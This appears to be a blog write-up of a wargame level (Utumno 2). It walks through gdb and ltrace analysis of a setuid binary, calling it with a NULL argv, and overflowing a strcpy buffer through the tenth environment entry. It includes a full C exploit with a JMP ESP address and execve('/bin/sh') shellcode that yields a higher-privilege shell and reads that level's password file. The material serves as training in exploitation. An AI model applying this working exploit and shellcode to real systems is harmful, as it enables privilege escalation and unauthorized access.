utumno2@utumno:~$ /utumno/utumno2
Aw..
Not so much helpful, so let's try with ltrace
utumno2@utumno:~$ ltrace /utumno/utumno2 __libc_start_main(0x804844b, 1, 0xffffd794, 0x8048490 <unfinished ...> puts("Aw.."Aw.. ) = 5 exit(1 <no return ...> +++ exited (status 1) +++
Only a puts() call, we have to disassamble and inspect the code a bit more.
utumno2@utumno:~$ gdb /utumno/utumno2 (gdb) disassemble main Dump of assembler code for function main: 0x0804844b <+0>: push %ebp 0x0804844c <+1>: mov %esp,%ebp 0x0804844e <+3>: sub $0xc,%esp 0x08048451 <+6>: cmpl $0x0,0x8(%ebp) 0x08048455 <+10>: je 0x804846b <main+32> 0x08048457 <+12>: push $0x8048510 0x0804845c <+17>: call 0x8048310 <puts@plt> 0x08048461 <+22>: add $0x4,%esp 0x08048464 <+25>: push $0x1 0x08048466 <+27>: call 0x8048320 <exit@plt> 0x0804846b <+32>: mov 0xc(%ebp),%eax 0x0804846e <+35>: add $0x28,%eax 0x08048471 <+38>: mov (%eax),%eax 0x08048473 <+40>: push %eax 0x08048474 <+41>: lea -0xc(%ebp),%eax 0x08048477 <+44>: push %eax 0x08048478 <+45>: call 0x8048300 <strcpy@plt> 0x0804847d <+50>: add $0x8,%esp 0x08048480 <+53>: mov $0x0,%eax 0x08048485 <+58>: leave 0x08048486 <+59>: ret End of assembler dump. (gdb)
Hey, there's a strcpy() at the end: can we use it, how can we reach it?
Let's focus on the lines 0x08048451 and 0x08048455
The first line compares the memory location (EBP + 0x08) with 0
If they are equal it jumps over the puts() and exit() to the strcpy() call.
otherwise it calls puts() and exit().
To understand what it does, we can place a breakpoint on line 0x08048455, execute and read memory around EBP
(gdb) break *0x08048455 Breakpoint 1 at 0x8048455: file utumno2.c, line 23. (gdb) r Starting program: /utumno/utumno2 Breakpoint 1, 0x08048455 in main (argc=1, argv=0xffffd784) at utumno2.c:23 23 utumno2.c: No such file or directory. (gdb) info reg ebp ebp 0xffffd6e8 0xffffd6e8 (gdb) x/8wx 0xffffd6e0 0xffffd6e0: 0x00000001 0xf7fc5000 0x00000000 0xf7e2a286 0xffffd6f0: 0x00000001 0xffffd784 0xffffd78c 0x00000000
EBP + 8 is 0xffffd6f0, that contains 1
Let's try to pass an argument
(gdb) set args A (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /utumno/utumno2 A Breakpoint 1, 0x08048455 in main (argc=2, argv=0xffffd784) at utumno2.c:23 23 in utumno2.c (gdb) x/8wx 0xffffd6e0 0xffffd6e0: 0x00000002 0xf7fc5000 0x00000000 0xf7e2a286 0xffffd6f0: 0x00000002 0xffffd784 0xffffd790 0x00000000
OK... the address at EBP + 0x08 (0xffffd6f0) , now contains 2
It seems that the comparison checks if the argv[] buffer is void.
If it is, then jump to strcpy.
So let's build a C program that calls the executable without passing ARGV or ENV:
#include <unistd.h> int main (int argc, char *argv[]) { execve("/utumno/utumno2",NULL,NULL); return 0; }
Compile it and run.
utumno2@utumno:/tmp/utum2$ gcc -m32 run.c -o run utumno2@utumno:/tmp/utum2$ ltrace ./run __libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555600 <unfinished ...> execve(0x56555680, 0, 0, 0x565555b7 <no return ...> --- Called exec() --- __libc_start_main(0x804844b, 0, 0xffffdf14, 0x8048490 <unfinished ...> strcpy(0xffffde6c, "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
Yes! We can reach the strcpy.
The arguments of strcpy are: a memory address on the stack and a sequence of characters...
Maybe it's getting something from the memory.
But where? Looking a bit more to the assembler code, it seems that it uses something on the stack but at memory locations a bit higher that the argv[] pointer.
Let's try to pass something as environment, but keeping the argv[] as NULL
#include <unistd.h> int main (int argc, char *argv[]) { char *sc[10]; sc[0]="/utumno/utumno2"; sc[1]= "AAAA"; sc[2]= "BBBB"; sc[3]= "CCCC"; sc[4]= "DDDD"; sc[6]= "EEEE"; sc[7]= "FFFF"; sc[8]= "GGGG"; sc[9]= "HHHH"; execve("/utumno/utumno2",NULL,sc); return 0; }
Run and compile:
utumno2@utumno:/tmp/utum2$ ltrace ./run __libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...> execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...> --- Called exec() --- __libc_start_main(0x804844b, 0, 0xffffde94, 0x8048490 <unfinished ...> strcpy(0xffffddec, "HHHH") = 0xffffddec +++ exited (status 0) +++
And it seems that the 10th ENV item is the buffer that is copied to the stack
We now have a way to write past behind the target buffer: let's put a longer sequence in the 10th item:
#include <unistd.h> int main (int argc, char *argv[]) { char *sc[10]; sc[0]="/utumno/utumno2"; sc[1]= "Z"; sc[2]= "Z"; sc[3]= "Z"; sc[4]= "Z"; sc[6]= "Z"; sc[7]= "Z"; sc[8]= "Z"; sc[9]= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"; execve("/utumno/utumno2",NULL,sc); return 0; }
Compile and run in gdb
utumno2@utumno:/tmp/utum2$ gcc -m32 run.c -o run utumno2@utumno:/tmp/utum2$ gdb run ... (gdb) r Starting program: /tmp/utum2/run process 20928 is executing new program: /utumno/utumno2 Program received signal SIGSEGV, Segmentation fault. 0x45454545 in ?? () (gdb)
We changed the execution flow to 0x45454545 (hex code for SCII "EEEE")
I believe it's exploitable in some way...
Now it's time to find a JMP ESP location:
(gdb) break *0x08048455 (gdb) r Starting program: /utumno/utumno2 Breakpoint 1, 0x08048455 in main (argc=1, argv=0xffffd774) at utumno2.c:23 23 in utumno2.c (gdb) info proc map (gdb) info proc map process 21143 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /utumno/utumno2 0x8049000 0x804a000 0x1000 0x0 /utumno/utumno2 0xf7e10000 0xf7e12000 0x2000 0x0 0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so 0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so 0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so 0xf7fc6000 0xf7fc9000 0x3000 0x0 0xf7fd2000 0xf7fd4000 0x2000 0x0 0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar] 0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso] 0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so 0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so 0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) find /b 0xf7e12000, 0xf7fc3000, 0xff, 0xe4 ... 0xf7f6b097 ...
We can choose one of the many address in the list. Let's try with 0xf7f6b097
So now we have to combine:
- filling buffer "AAAABBBBCCCCDDDD"
- JMP ESP address 0xf7f6b097
- shellcode (we use the shellcode that cleans ECX and EDX to prevent issues like the previos level)
#include <unistd.h> int main (int argc, char *argv[]) { char *sc[10]; sc[0]="/utumno/utumno2"; sc[1]= "Z"; sc[2]= "Z"; sc[3]= "Z"; sc[4]= "Z"; sc[6]= "Z"; sc[7]= "Z"; sc[8]= "Z"; sc[9]= "AAAABBBBCCCCDDDD\x97\xb0\xf6\xf7\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"; execve("/utumno/utumno2",NULL,sc); return 0; }
Compile and run, this time outside gdb
utumno2@utumno:/tmp/utum2$ gcc -m32 run.c -o run utumno2@utumno:/tmp/utum2$ ./run $ id uid=16002(utumno2) gid=16002(utumno2) euid=16003(utumno3) groups=16002(utumno2) $ cat /etc/utumno_pass/utumno3 z*******e
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.